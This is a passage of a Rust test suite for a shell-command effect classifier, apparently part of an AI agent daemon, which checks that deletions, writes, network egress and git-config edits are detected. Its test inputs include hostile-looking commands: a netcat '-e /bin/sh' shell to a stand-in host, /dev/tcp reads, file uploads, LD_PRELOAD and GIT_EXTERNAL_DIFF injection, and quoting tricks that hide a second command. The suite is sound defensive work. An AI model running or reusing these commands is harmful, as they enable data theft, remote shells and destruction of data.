4843 "hostname -s",
4844 ] {
4845 assert!(
4846 command_effects(observing).observation_only,
4847 "{observing} should be observation-only"
4848 );
4849 }
4850 for mutating in [
4851 "sleep infinity",
4852 "sleep 5; curl example.invalid",
4853 "sleep $(curl example.invalid)",
4854 "rm -rf /tmp/aidaemon-test/x",
4855 "ls /tmp; rm -rf /tmp/aidaemon-test/x",
4856 "ls && rm x",
4857 "cat a > b",
4858 "echo x >> b",
4859 "ls | xargs rm",
4860 "ls | tee out",
4861 "echo $(curl example.invalid)",
4862 "echo \"$(curl example.invalid)\"",
4863 "echo `id`",
4864 "find . -delete",
4865 "find . -exec rm {} ;",
4866 "sed -i s/a/b/ f",
4867 "sed -ni p f",
4868 "sed --in-place p f",
4869 "git push",
4870 "git branch -D x",
4871 "git clean -fd",
4872 "python3 script.py",
4873 "curl https://example.invalid",
4874 "sh -c 'rm x'",
4875 "cat a >&out",
4876 "echo hi &> out",
4877 "sort -o out in",
4878 "git diff --output=out",
4879 "uniq in out",
4880 "echo 'unterminated",
4881 "",
4882 "ls; env -S 'rm x'",
4883 "ls; env -S'rm x'",
4884 "ls # <<EOF\nrm x\nEOF",
4885 "ls\nrm x",
4886 "cat <<EOF\nhi\nEOF",
4887 "rg --pre rm x .",
4888 "rg --pre=rm x .",
4889 "rg --hostname-bin=rm x",
4890 "rg -z foo",
4891 "GIT_EXTERNAL_DIFF='rm -rf x' git diff",
4892 "env GIT_EXTERNAL_DIFF=rm git diff",
4893 "FOO=1 ls",
4894 "PATH=/tmp ls",
4895 "TZ=UTC PATH=/tmp date",
4896 "LD_PRELOAD=x date",
4897 "LC_ALL=C GIT_EXTERNAL_DIFF=x git diff",
4898 "find . -exec rm {} +",
4899 "find . -exec stat {} \\; -delete",
4900 "find . -exec stat {}",
4901 "find . -ok stat {} \\;",
4902 "find . -exec sh -c 'rm x' \\;",
4903 "hostname newname",
4904 "hostname -F f",
4905 "sysctl -w kern.x=1",
4906 "sysctl kern.x=1",
4907 "sysctl -p",
4908 "sysctl --system",
4909 "top",
4910 "top -l 0",
4911 "git branch --show-current -D x",
4912 "env ls",
4913 "git --config-env=core.fsmonitor=F status",
4914 "git -c core.pager=x status",
4915 "git diff --ext-diff",
4916 "sort --compress-program=rm a",
4917 "cat </dev/tcp/example.invalid/80",
4918 "cat < f",
4919 "date -s 2020-01-01",
4920 "date -u -s 2020-01-01",
4921 "date -u 010112002020",
4922 "date 010112002020",
4923 "date +%Y 010112002020",
4924 "date +%Y +%m",
4925 "date -us 2020-01-01",
4926 "hostname evil",
4927 "file -C -m m",
4928 "sed -n p f",
4929 "sed 's/a/b/w out' f",
4930 "sed '1e rm x' f",
4931 "(rm x)",
4932 "{ rm x; }",
4933 "sudo ls",
4934 "nice ls",
4935 "timeout 5 ls",
4936 "/tmp/evil/ls",
4937 "./ls",
4938 "echo a #b",
4939 "echo $'\\'' > out \\'",
4940 "echo $'a\\'' ; rm -rf x ; echo \\'",
4941 "echo $'a\\'' ; curl example.invalid ; echo \\'",
4942 "uniq - out",
4943 "uniq -c - out",
4944 "tree -ao out",
4945 "tree -R",
4946 "tree --weird",
4947 "git -C d status",
4948 "git --git-dir=d status",
4949 "git --git-dir d status",
4950 "git --work-tree=d status",
4951 ] {
4952 assert!(
4953 !command_effects(mutating).observation_only,
4954 "{mutating} should not be observation-only"
4955 );
4956 }
4957 }
4958
4959 #[test]
4960 fn remote_writes_are_read_from_option_structure() {
4961 for writing in [
4962 "curl --noproxy '*' --silent --request POST -H 'Content-Type: application/json' --data '{}' http://localhost:1/ping",
4963 "curl -X POST http://localhost:1/x",
4964 "curl -XDELETE http://localhost:1/x",
4965 "curl -sd a=1 https://example.invalid",
4966 "curl --json '{}' https://example.invalid",
4967 "curl -F f=@a https://example.invalid",
4968 "curl --upload-file a https://example.invalid",
4969 "wget --post-data=a=1 https://example.invalid",
4970 "wget --method PUT https://example.invalid",
4971 "git push origin main",
4972 "git -C repo push",
4973 "cd x && curl -X PATCH https://example.invalid",
4974 ] {
4975 assert!(sends_remote_write(writing), "{writing} sends a write");
4976 }
4977 for reading in [
4978 "curl https://example.invalid",
4979 "curl -sSL -o out https://example.invalid",
4980 "curl -X GET https://example.invalid",
4981 "curl --request=HEAD https://example.invalid",
4982 "wget https://example.invalid",
4983 "git pull",
4984 "git log --grep push",
4985 "ls",
4986 ] {
4987 assert!(!sends_remote_write(reading), "{reading} only reads");
4988 }
4989 }
4990
4991 #[test]
4992 fn fetches_network_by_executable_table() {
4993 for fetching in [
4994 "curl https://example.invalid",
4995 "ls && wget x",
4996 "git clone u",
4997 "git -C d pull",
4998 "npm install x",
4999 "cargo add serde",
5000 "sh -c 'ssh host'",
5001 "gh pr list",
5002 "sudo curl x",
5003 "nice curl x",
5004 "timeout 5 curl x",
5005 "xargs curl",
5006 "find . -exec curl {} ;",
5007 "(curl x)",
5008 "{ curl x; }",
5009 "echo \"$(curl x)\"",
5010 "cat </dev/tcp/example.invalid/80",
5011 "pip3 -q install x",
5012 "npm --prefix d install x",
5013 "cargo +nightly install x",
5014 "yarn",
5015 "npm ci",
5016 "npx foo",
5017 "pnpm dlx foo",
5018 "bunx foo",
5019 "uvx foo",
5020 "uv pip install x",
5021 "pip download x",
5022 "brew install x",
5023 "go get x",
5024 "docker pull x",
5025 "gem install x",
5026 "apt-get install x",
5027 "svn up",
5028 "hg pull",
5029 "socat a b",
5030 "openssl s_client -connect h:1",
5031 "ping h",
5032 "dig h",
5033 "rclone ls r:",
5034 "aws s3 ls",
5035 "kubectl get pods",
5036 "git remote update",
5037 "git archive --remote=u HEAD",
5038 "git push",
5039 "npm publish",
5040 "cargo publish",
5041 "FOO=1 curl x",
5042 ] {
5043 assert!(fetches_network(fetching), "{fetching}");
5044 }
5045 for local in [
5046 "git status",
5047 "npm test",
5048 "cargo build",
5049 "echo curl",
5050 "ls",
5051 "yarn test",
5052 ] {
5053 assert!(!fetches_network(local), "{local}");
5054 }
5055 }
5056
5057 #[test]
5058 fn ansi_c_quoting_over_reports_effects() {
5059 for hidden in [
5060 "echo $'a\\'' ; rm -rf x ; echo \\'",
5061 "echo $'a\\'' ; curl example.invalid ; echo \\'",
5062 ] {
5063 assert!(command_effects(hidden).deletes, "{hidden}");
5064 assert!(fetches_network(hidden), "{hidden}");
5065 }
5066 }
5067
5068 #[test]
5069 fn git_config_paths_are_structural() {
5070 for path in [
5071 "/repo/.git/config",
5072 ".git/hooks/pre-commit",
5073 "a/.git",
5074 "/repo/sub/.gitattributes",
5075 ".gitmodules",
5076 "C:\\repo\\.git\\config",
5077 ] {
5078 assert!(is_git_config_path(path), "{path}");
5079 }
5080 for path in [
5081 "/repo/.github/x.yml",
5082 "/repo/src/git.rs",
5083 "a/.gitignore",
5084 "/repo/gitattributes",
5085 ] {
5086 assert!(!is_git_config_path(path), "{path}");
5087 }
5088 }
5089
5090 #[test]
5091 fn git_config_path_detection_is_case_insensitive_and_global() {
5092 for path in [
5093 ".GIT/config",
5094 "repo/.Git/config",
5095 "repo/.GITATTRIBUTES",
5096 "repo/.GITMODULES",
5097 "repo/.git./config",
5098 "repo/.git /config",
5099 "./repo/x/../.git/config",
5100 "~/.gitconfig",
5101 "$HOME/.gitconfig",
5102 "${HOME}/.gitconfig",
5103 "~/.config/git/attributes",
5104 "~/.config/git/config",
5105 "~/.config/../.config/git/ignore",
5106 "/etc/gitconfig",
5107 "/etc/./gitconfig",
5108 "/srv/user/.GITCONFIG",
5109 ] {
5110 assert!(is_git_config_path(path), "{path}");
5111 }
5112 if let Some(home) = dirs::home_dir() {
5113 let absolute = home.join(".config").join("git").join("attributes");
5114 assert!(is_git_config_path(&absolute.to_string_lossy()));
5115 }
5116 for path in [
5118 "repo/src/git.rs",
5119 "repo/.github/workflows/x.yml",
5120 "repo/.gitignore",
5121 "repo/.GITHUB/x.yml",
5122 "/etc/gitconfig.d/x",
5123 "repo/config/git.toml",
5124 ] {
5125 assert!(!is_git_config_path(path), "{path}");
5126 }
5127 }
5128
5129 #[test]
5130 fn command_words_naming_git_config_are_detected() {
5131 for command in [
5132 "cp x ~/.gitconfig",
5133 "echo x > ~/.gitconfig",
5134 "echo x >>.git/config",
5135 "git config --file=$HOME/.gitconfig a.b c",
5136 "sh -c 'cp x .GIT/hooks/pre-commit'",
5137 "echo \"$(cp x /etc/gitconfig)\"",
5138 "cp x \"repo/.gitattributes\"",
5139 ] {
5140 assert!(command_names_git_config_path(command), "{command}");
5141 }
5142 for command in ["cp x y", "cat .gitignore", "ls .github", "git status"] {
5143 assert!(!command_names_git_config_path(command), "{command}");
5144 }
5145 }
5146
5147 #[test]
5148 fn command_effects_flags_deletion_structurally() {
5149 for deleting in [
5150 "rm x",
5151 "find . -delete",
5152 "git clean -fd",
5153 "ls; rmdir d",
5154 "sh -c 'unlink x'",
5155 "ls | xargs rm",
5156 "find . -exec shred {} ;",
5157 "sudo rm x",
5158 "nice rm x",
5159 "timeout 5 rm x",
5160 "(rm x)",
5161 "{ rm x; }",
5162 "exec rm x",
5163 "echo \"$(rm x)\"",
5164 "FOO=1 rm x",
5165 ] {
5166 assert!(command_effects(deleting).deletes, "{deleting}");
5167 }
5168 for benign in [
5169 "ls",
5170 "git status",
5171 "echo rm",
5172 "grep rm file",
5173 "find . -name x",
5174 ] {
5175 assert!(!command_effects(benign).deletes, "{benign}");
5176 }
5177 }
5178
5179 fn egress(target: &str) -> EffectKey {
5180 EffectKey {
5181 class: EffectClass::Egress,
5182 target: target.to_string(),
5183 }
5184 }
5185
5186 fn canonical(path: &str) -> String {
5189 let path = std::path::Path::new(path);
5190 for ancestor in path.ancestors() {
5191 if let Ok(real) = dunce::canonicalize(ancestor) {
5192 let rest = path.strip_prefix(ancestor).unwrap();
5193 return real
5194 .join(rest)
5195 .to_string_lossy()
5196 .trim_end_matches('/')
5197 .to_string();
5198 }
5199 }
5200 unreachable!()
5201 }
5202
5203 fn synthetic_dir() -> String {
5204 format!("/tmp/aidaemon-test/{}", uuid::Uuid::new_v4())
5205 }
5206
5207 #[test]
5208 fn ipv6_bracketed_and_bare_hosts_match() {
5209 assert_eq!(
5210 egress_effect("http", "[::1]", Some(8765)),
5211 egress_effect("http", "::1", Some(8765))
5212 );
5213 assert_eq!(
5214 egress_effect("http", "[::1]", Some(8765)),
5215 Some(egress("::1:8765"))
5216 );
5217 assert_eq!(
5219 url_effect("http://[::1]:8765/announce"),
5220 Some(egress("::1:8765"))
5221 );
5222 assert_eq!(
5223 shell_call_effects("nc ::1 8765", None).keys,
5224 vec![egress("::1:8765")]
5225 );
5226 }
5227
5228 #[test]
5229 fn existing_path_declared_canonically() {
5230 let dir = tempfile::tempdir().unwrap();
5231 let real = dir.path().join("real");
5232 std::fs::create_dir(&real).unwrap();
5233 let link = dir.path().join("link");
5234 #[cfg(unix)]
5235 std::os::unix::fs::symlink(&real, &link).unwrap();
5236 #[cfg(not(unix))]
5237 return;
5238 let real_canonical = dunce::canonicalize(&real).unwrap();
5239 let existing = path_effect(EffectClass::Write, link.to_str().unwrap(), None).unwrap();
5241 assert_eq!(existing.target, real_canonical.to_string_lossy());
5242 let new_file = path_effect(
5244 EffectClass::Write,
5245 &format!("{}/f.txt", link.to_str().unwrap()),
5246 None,
5247 )
5248 .unwrap();
5249 assert_eq!(
5250 new_file.target,
5251 real_canonical.join("f.txt").to_string_lossy()
5252 );
5253 let relative =
5256 path_effect(EffectClass::Write, "f.txt", Some(link.to_str().unwrap())).unwrap();
5257 assert_eq!(relative, new_file);
5258 assert_eq!(path_effect(EffectClass::Write, "f.txt", None), None);
5259 let removed = path_effect(EffectClass::Delete, link.to_str().unwrap(), None).unwrap();
5261 assert_eq!(
5262 removed.target,
5263 dunce::canonicalize(dir.path())
5264 .unwrap()
5265 .join("link")
5266 .to_string_lossy()
5267 );
5268 }
5269
5270 #[test]
5271 fn network_programs_declare_their_hosts() {
5272 let cases: &[(&str, &[&str])] = &[
5273 (
5274 "ssh deploy@h.example.invalid uptime",
5275 &["h.example.invalid:22"],
5276 ),
5277 ("ssh -p 2222 h.example.invalid", &["h.example.invalid:2222"]),
5278 (
5279 "ssh ssh://h.example.invalid:2200",
5280 &["h.example.invalid:2200"],
5281 ),
5282 ("nc -z h.example.invalid 25", &["h.example.invalid:25"]),
5283 (
5284 "http POST https://api.example.invalid/v1 name=x",
5285 &["api.example.invalid:443"],
5286 ),
5287 ];
5288 for (command, hosts) in cases {
5289 let effects = shell_call_effects(command, None);
5290 assert!(!effects.complete, "{command}");
5291 let egress: Vec<_> = effects
5292 .keys
5293 .iter()
5294 .filter(|key| key.class == EffectClass::Egress)
5295 .map(|key| key.target.as_str())
5296 .collect();
5297 assert_eq!(&egress, hosts, "{command}");
5298 }
5299 }
5300
5301 #[test]
5302 fn local_file_effects_are_declared_with_their_class() {
5303 let dir = synthetic_dir();
5304 let key = |class: EffectClass, path: &str| EffectKey {
5305 class,
5306 target: canonical(path),
5307 };
5308 let cases: Vec<(String, Vec<EffectKey>)> = vec![
5309 (
5310 format!("rm -rf {dir}/build"),
5311 vec![key(EffectClass::Delete, &format!("{dir}/build"))],
5312 ),
5313 (
5314 format!("cp a.txt {dir}/b.txt"),
5315 vec![key(EffectClass::Write, &format!("{dir}/b.txt"))],
5316 ),
5317 (
5318 format!("mv {dir}/a {dir}/b"),
5319 vec![
5320 key(EffectClass::Delete, &format!("{dir}/a")),
5321 key(EffectClass::Write, &format!("{dir}/b")),
5322 ],
5323 ),
5324 (
5325 format!("printf x | tee -a {dir}/log"),
5326 vec![key(EffectClass::Write, &format!("{dir}/log"))],
5327 ),
5328 (
5329 format!("curl -o {dir}/page.html https://a.example.invalid/"),
5330 vec![
5331 key(EffectClass::Write, &format!("{dir}/page.html")),
5332 egress("a.example.invalid:443"),
5333 ],
5334 ),
5335 (
5336 format!("scp h.example.invalid:/srv/x {dir}/x"),
5337 vec![
5338 egress("h.example.invalid:22"),
5339 key(EffectClass::Write, &format!("{dir}/x")),
5340 ],
5341 ),
5342 ];
5343 for (command, expected) in cases {
5344 let effects = shell_call_effects(&command, None);
5345 assert!(!effects.complete, "{command}");
5346 let mut keys = effects.keys.clone();
5347 let mut expected = expected.clone();
5348 keys.sort_by(|a, b| a.target.cmp(&b.target));
5349 expected.sort_by(|a, b| a.target.cmp(&b.target));
5350 assert_eq!(keys, expected, "{command}");
5351 }
5352 }
5353
5354 #[test]
5355 fn undeterminable_segments_make_effects_incomplete() {
5356 for command in [
5357 "bash run.sh",
5358 "python3 tool.py",
5359 "rm build",
5360 "echo x > out.txt",
5361 "cd /tmp/aidaemon-test && rm -rf x",
5362 "curl -O https://a.example.invalid/f",
5363 "curl --frobnicate https://a.example.invalid/",
5364 "wget https://a.example.invalid/f",
5365 "cargo build",
5366 "git commit -m x",
5367 "rm $TARGET",
5368 "echo $(curl https://a.example.invalid/)",
5369 "ssh -o ProxyCommand=x h.example.invalid",
5370 ] {
5371 assert!(!shell_call_effects(command, None).complete, "{command}");
5372 }
5373 let partial = shell_call_effects("curl https://a.example.invalid/ && bash run.sh", None);
5375 assert!(!partial.complete);
5376 assert_eq!(partial.keys, vec![egress("a.example.invalid:443")]);
5377 let dir = synthetic_dir();
5379 let resolved = shell_call_effects("rm build", Some(&dir));
5380 assert!(!resolved.complete);
5381 assert_eq!(resolved.keys[0].target, canonical(&format!("{dir}/build")));
5382 for observation in ["ls -la", "echo hi", "cat a | grep b"] {
5385 let effects = shell_call_effects(observation, None);
5386 assert!(
5387 effects.keys.is_empty() && !effects.complete,
5388 "{observation}"
5389 );
5390 assert!(effects.understood, "{observation}");
5391 }
5392 for command in ["bash run.sh", "echo x > out.txt", "rm $TARGET"] {
5393 assert!(!shell_call_effects(command, None).understood, "{command}");
5394 }
5395 }
5396
5397 #[test]
5402 fn a_literal_cd_moves_where_later_paths_resolve() {
5403 let dir = synthetic_dir();
5404 let first = shell_call_effects(
5405 &format!(
5406 "cd {dir}\ncp -R tmp-drupal/. ./\necho \"copy exit: $?\"\nrm -rf tmp-drupal\nls -a"
5407 ),
5408 None,
5409 );
5410 assert!(!first.complete);
5411 assert!(first.keys.contains(&write(&dir)), "{:?}", first.keys);
5412 assert!(
5413 first.keys.contains(&delete(&format!("{dir}/tmp-drupal"))),
5414 "{:?}",
5415 first.keys
5416 );
5417 let reworded = shell_call_effects(
5419 &format!("cd {dir} && cp -R tmp-drupal/. ./ ; ls -a"),
5420 Some("/tmp/aidaemon-test/elsewhere"),
5421 );
5422 assert!(
5423 reworded
5424 .keys
5425 .iter()
5426 .any(|key| first.keys.iter().any(|declined| declined.overlaps(key)))
5427 );
5428 let nested = shell_call_effects("cd sub || exit 1\nrm -f x", Some(&dir));
5430 assert_eq!(nested.keys, vec![delete(&format!("{dir}/sub/x"))]);
5431 for command in [
5434 format!("cd {dir} | true\nrm -f x"),
5435 format!("cd {dir} & rm -f x"),
5436 format!("(cd {dir}) ; rm -f x"),
5437 "cd $HOME && rm -f x".to_string(),
5438 "cd - && rm -f x".to_string(),
5439 format!("pushd {dir} && rm -f x"),
5440 ] {
5441 let effects = shell_call_effects(&command, None);
5442 assert!(effects.keys.is_empty(), "{command}: {:?}", effects.keys);
5443 }
5444 }
5445
5446 enum Expect {
5448 Incomplete,
5450 Exact(Vec<EffectKey>),
5452 Within(Vec<EffectKey>),
5455 }
5456
5457 fn write(path: &str) -> EffectKey {
5458 EffectKey {
5459 class: EffectClass::Write,
5460 target: canonical(path),
5461 }
5462 }
5463
5464 fn delete(path: &str) -> EffectKey {
5465 EffectKey {
5466 class: EffectClass::Delete,
5467 target: canonical(path),
5468 }
5469 }
5470
5471 #[test]
5476 fn under_declaration_corpus() {
5477 use Expect::{Exact, Incomplete, Within};
5478 let w = "/tmp/aidaemon-test/w";
5479 let cases: Vec<(&str, Expect)> = vec![
5480 ("cd /etc && echo x > f", Incomplete),
5482 ("pushd /etc && rm -f f", Incomplete),
5483 ("popd; echo x > f", Incomplete),
5484 ("cd /tmp && curl https://a.example.invalid/", Incomplete),
5485 ("git clone -u ./x https://a.example.invalid/r", Incomplete),
5487 ("git pull -s ours https://a.example.invalid/r", Incomplete),
5488 ("curl 'https://{a,b}.example.invalid/'", Incomplete),
5490 ("curl https://{a,b}.example.invalid/", Incomplete),
5491 ("ssh {a,b}.example.invalid", Incomplete),
5492 ("scp f {a,b}.example.invalid:", Incomplete),
5493 ("nc {a,b}.example.invalid 80", Incomplete),
5494 ("curl 'https://a*.example.invalid/'", Incomplete),
5495 ("curl 'https://a,b.example.invalid/'", Incomplete),
5496 ("curl 'https://[a-b].example.invalid/'", Incomplete),
5497 ("ssh 'a?.example.invalid'", Incomplete),
5498 (
5500 "curl 'https://a.example.invalid\\@b.example.invalid/'",
5501 Incomplete,
5502 ),
5503 (
5504 "curl 'https://u@a.example.invalid@b.example.invalid/'",
5505 Incomplete,
5506 ),
5507 (
5508 "wget -O- 'http://a.example.invalid\\@b.example.invalid/'",
5509 Incomplete,
5510 ),
5511 ("curl 'https://a.example.invalid /'", Incomplete),
5512 ("curl 'https://รค.example.invalid/'", Incomplete),
5513 (
5514 "git ls-remote 'https://a.example.invalid\\@b.example.invalid/r'",
5515 Incomplete,
5516 ),
5517 ("rsync --port=8730 f h.example.invalid:d", Incomplete),
5519 (
5520 "rsync --port=8730 f rsync://h.example.invalid/m/",
5521 Incomplete,
5522 ),
5523 (
5525 "curl -x http://p.example.invalid https://a.example.invalid/",
5526 Incomplete,
5527 ),
5528 (
5529 "curl -x socks5://p.example.invalid https://a.example.invalid/",
5530 Incomplete,
5531 ),
5532 (
5533 "curl --proxy http://p.example.invalid:3128 https://a.example.invalid/",
5534 Incomplete,
5535 ),
5536 (
5537 "curl --socks5 p.example.invalid:1080 https://a.example.invalid/",
5538 Incomplete,
5539 ),
5540 (
5541 "ALL_PROXY=socks5://p.example.invalid curl https://a.example.invalid/",
5542 Incomplete,
5543 ),
5544 ("curl ftp.example.invalid/f", Incomplete),
5546 ("curl a.example.invalid/x", Incomplete),
5547 ("curl @file", Incomplete),
5548 ("http :8080/health", Incomplete),
5549 ("wget -O- a.example.invalid", Incomplete),
5550 ("git pull https://a.example.invalid/r", Incomplete),
5552 ("git fetch https://a.example.invalid/r", Incomplete),
5553 ("git push https://a.example.invalid/r main", Incomplete),
5554 (
5555 "git clone https://a.example.invalid/r /tmp/aidaemon-test/c",
5556 Incomplete,
5557 ),
5558 ("git clone https://h.example.invalid/a.bundle", Incomplete),
5559 ("git ls-remote https://a.example.invalid/r", Incomplete),
5560 (
5561 "git ls-remote --heads https://a.example.invalid/r",
5562 Incomplete,
5563 ),
5564 (
5566 "rsync -b --backup-dir=/tmp/aidaemon-test/other src/ /tmp/aidaemon-test/dst/",
5567 Incomplete,
5568 ),
5569 (
5570 "rsync -T /tmp/aidaemon-test/t src/ /tmp/aidaemon-test/dst/",
5571 Incomplete,
5572 ),
5573 (
5574 "rsync --temp-dir=/tmp/aidaemon-test/t src/ /tmp/aidaemon-test/dst/",
5575 Incomplete,
5576 ),
5577 (
5578 "rsync --partial-dir=.p src/ /tmp/aidaemon-test/dst/",
5579 Incomplete,
5580 ),
5581 (
5582 "rsync --log-file=/tmp/aidaemon-test/l src/ /tmp/aidaemon-test/dst/",
5583 Incomplete,
5584 ),
5585 ("rsync -e ssh a h.example.invalid:d", Incomplete),
5586 (
5587 "rsync -av /tmp/aidaemon-test/src/ /tmp/aidaemon-test/dst/",
5588 Exact(vec![write("/tmp/aidaemon-test/dst")]),
5589 ),
5590 (
5592 "ssh h.example.invalid somecmd -p 2222",
5593 Exact(vec![egress("h.example.invalid:22")]),
5594 ),
5595 ("cp -b a /tmp/aidaemon-test/f", Incomplete),
5597 ("cp --backup a /tmp/aidaemon-test/f", Incomplete),
5598 (
5599 "mv -b /tmp/aidaemon-test/a /tmp/aidaemon-test/f",
5600 Incomplete,
5601 ),
5602 (
5604 "curl -o /tmp/aidaemon-test/x https://a.example.invalid/",
5605 Exact(vec![
5606 write("/tmp/aidaemon-test/x"),
5607 egress("a.example.invalid:443"),
5608 ]),
5609 ),
5610 ("curl -K cfg https://a.example.invalid/", Incomplete),
5611 ("curl --config cfg https://a.example.invalid/", Incomplete),
5612 ("curl -O https://a.example.invalid/f", Incomplete),
5613 (
5614 "curl --resolve a.example.invalid:443:127.0.0.1 https://a.example.invalid/",
5615 Incomplete,
5616 ),
5617 (
5618 "curl --connect-to ::127.0.0.1: https://a.example.invalid/",
5619 Incomplete,
5620 ),
5621 (
5622 "curl -d @file https://a.example.invalid/",
5623 Exact(vec![egress("a.example.invalid:443")]),
5624 ),
5625 (
5626 "curl -X POST https://a.example.invalid/x -d '{}'",
5627 Exact(vec![egress("a.example.invalid:443")]),
5628 ),
5629 ("curl $URL", Incomplete),
5630 ("curl \"$(cat u)\"", Incomplete),
5631 (
5632 "curl https://a.example.invalid/ https://b.example.invalid/",
5633 Exact(vec![
5634 egress("a.example.invalid:443"),
5635 egress("b.example.invalid:443"),
5636 ]),
5637 ),
5638 (
5639 "curl -w '%output{/tmp/x}' https://a.example.invalid/",
5640 Incomplete,
5641 ),
5642 ("curl http://[::1]:8765/", Incomplete),
5643 ("wget -i list", Incomplete),
5645 ("wget -e robots=off https://a.example.invalid/", Incomplete),
5646 ("wget -r https://a.example.invalid/", Incomplete),
5647 ("wget -P /tmp https://a.example.invalid/", Incomplete),
5648 ("wget https://a.example.invalid/f", Incomplete),
5649 (
5650 "wget -qO- http://b.example.invalid:8080/y",
5651 Exact(vec![egress("b.example.invalid:8080")]),
5652 ),
5653 ("git push origin main", Incomplete),
5655 (
5656 "git -C /tmp/aidaemon-test/r push https://a.example.invalid/r",
5657 Incomplete,
5658 ),
5659 ("git clone 'ext::sh -c x'", Incomplete),
5660 (
5661 "git clone --upload-pack=x https://a.example.invalid/r",
5662 Incomplete,
5663 ),
5664 (
5665 "git push --receive-pack=x https://a.example.invalid/r",
5666 Incomplete,
5667 ),
5668 ("git commit -m x", Incomplete),
5669 ("git status", Incomplete),
5672 ("git diff", Incomplete),
5673 ("git log --oneline", Incomplete),
5674 ("git show HEAD", Incomplete),
5675 ("git rev-parse HEAD", Incomplete),
5676 ("git branch --list", Incomplete),
5677 ("ls -la && git status", Incomplete),
5678 ("ssh -o ProxyCommand=x h.example.invalid", Incomplete),
5680 ("ssh -F cfg h.example.invalid", Incomplete),
5681 ("ssh -J j.example.invalid h.example.invalid", Incomplete),
5682 ("ssh -W x:1 h.example.invalid", Incomplete),
5683 (
5684 "scp /tmp/aidaemon-test/a b.example.invalid:",
5685 Exact(vec![egress("b.example.invalid:22")]),
5686 ),
5687 ("nc -l 8080", Incomplete),
5688 ("nc -e /bin/sh h.example.invalid 80", Incomplete),
5689 (
5690 "nc -x p.example.invalid:1080 h.example.invalid 80",
5691 Incomplete,
5692 ),
5693 ("python3 -m http.server", Incomplete),
5694 (
5696 "cp -r /tmp/aidaemon-test/src /tmp/aidaemon-test/dst",
5697 Exact(vec![write("/tmp/aidaemon-test/dst")]),
5698 ),
5699 (
5700 "mv /tmp/aidaemon-test/a /tmp/aidaemon-test/b /tmp/aidaemon-test/c/",
5701 Exact(vec![
5702 write("/tmp/aidaemon-test/c"),
5703 delete("/tmp/aidaemon-test/a"),
5704 delete("/tmp/aidaemon-test/b"),
5705 ]),
5706 ),
5707 (
5708 "tee -a /tmp/aidaemon-test/f",
5709 Exact(vec![write("/tmp/aidaemon-test/f")]),
5710 ),
5711 ("echo x >&2", Exact(vec![])),
5713 (
5714 "echo x >| /tmp/aidaemon-test/f",
5715 Exact(vec![write("/tmp/aidaemon-test/f")]),
5716 ),
5717 (
5718 "echo x &> /tmp/aidaemon-test/f",
5719 Exact(vec![write("/tmp/aidaemon-test/f")]),
5720 ),
5721 (
5722 "echo x 2> /tmp/aidaemon-test/f",
5723 Exact(vec![write("/tmp/aidaemon-test/f")]),
5724 ),
5725 (
5726 "echo x >& /tmp/aidaemon-test/f",
5727 Exact(vec![write("/tmp/aidaemon-test/f")]),
5728 ),
5729 ("echo x > 'out file'", Incomplete),
5730 ("exec 3> /tmp/aidaemon-test/f", Incomplete),
5731 ("cat <> /tmp/aidaemon-test/f", Incomplete),
5732 ("cat <<EOF\nx\nEOF", Incomplete),
5733 ("echo $'x'", Incomplete),
5734 ("cat < /dev/tcp/h.example.invalid/80", Incomplete),
5735 ("xargs rm", Incomplete),
5737 ("find . -exec rm {} \\;", Incomplete),
5738 ("sh -c 'rm /tmp/aidaemon-test/x'", Incomplete),
5739 ("env X=1 rm /tmp/aidaemon-test/x", Incomplete),
5740 ("command rm /tmp/aidaemon-test/x", Incomplete),
5741 ("nohup rm /tmp/aidaemon-test/x", Incomplete),
5742 ("timeout 5 rm /tmp/aidaemon-test/x", Incomplete),
5743 ("sudo rm /tmp/aidaemon-test/x", Incomplete),
5744 ("time rm /tmp/aidaemon-test/x", Incomplete),
5745 ("{ rm /tmp/aidaemon-test/x; }", Incomplete),
5746 ("( rm /tmp/aidaemon-test/x )", Incomplete),
5747 ("X=1 rm /tmp/aidaemon-test/x", Incomplete),
5748 ("rm -- -rf", Exact(vec![delete("/tmp/aidaemon-test/w/-rf")])),
5750 (
5751 "git ls-remote git@git.example.invalid:acme/repo.git",
5752 Incomplete,
5753 ),
5754 (
5755 "unlink /tmp/aidaemon-test/x",
5756 Exact(vec![delete("/tmp/aidaemon-test/x")]),
5757 ),
5758 ("rm /tmp/aidaemon-test/*.o", Incomplete),
5759 ("rm ~other/x", Incomplete),
5760 ("rm /tmp/aidaemon-test/a\\ b", Incomplete),
5761 ("shred /tmp/aidaemon-test/x", Incomplete),
5762 ("truncate -s0 /tmp/aidaemon-test/x", Incomplete),
5763 ("dd of=/tmp/aidaemon-test/x", Incomplete),
5764 ("install a /tmp/aidaemon-test/b", Incomplete),
5765 ("ln -s a /tmp/aidaemon-test/b", Incomplete),
5766 ("chmod 600 /tmp/aidaemon-test/x", Incomplete),
5767 (
5769 "curl https://a.example.invalid/ | grep x; echo y > /tmp/aidaemon-test/f || true",
5770 Exact(vec![
5771 egress("a.example.invalid:443"),
5772 write("/tmp/aidaemon-test/f"),
5773 ]),
5774 ),
5775 ("bash x && curl https://a.example.invalid/", Incomplete),
5776 ("echo {a,b} > /tmp/aidaemon-test/f", Incomplete),
5778 ("echo * > /tmp/aidaemon-test/f", Incomplete),
5779 (
5780 "curl -H \"X: $TOKEN\" https://a.example.invalid/",
5781 Incomplete,
5782 ),
5783 (
5786 "cat <<'EOF'\ncurl https://a.example.invalid/\nEOF",
5787 Exact(vec![]),
5788 ),
5789 (
5790 "cat <<EOF > /tmp/aidaemon-test/f\nrm -rf /tmp/aidaemon-test/keep\nEOF",
5791 Exact(vec![write("/tmp/aidaemon-test/f")]),
5792 ),
5793 (
5794 "cat <<-EOF\n\tcurl https://a.example.invalid/\n\tEOF\ncurl https://b.example.invalid/",
5795 Exact(vec![egress("b.example.invalid:443")]),
5796 ),
5797 ("echo x # ; rm -rf /tmp/aidaemon-test/w/keep", Exact(vec![])),
5798 (
5799 "echo x #\ncurl https://b.example.invalid/",
5800 Exact(vec![egress("b.example.invalid:443")]),
5801 ),
5802 (
5803 "echo \"a\nrm -rf /tmp/aidaemon-test/keep\ncurl https://a.example.invalid/\"",
5804 Exact(vec![]),
5805 ),
5806 (
5807 "echo 'a\ncurl https://a.example.invalid/ > /tmp/aidaemon-test/f'",
5808 Exact(vec![]),
5809 ),
5810 (
5812 "echo hi >&1file",
5813 Exact(vec![write("/tmp/aidaemon-test/w/1file")]),
5814 ),
5815 ("echo hi >&2", Exact(vec![])),
5816 ("echo hi 2>&-", Exact(vec![])),
5817 ("echo hi >&2-", Exact(vec![])),
5818 (
5820 "find /tmp/aidaemon-test/w/x -follow -delete",
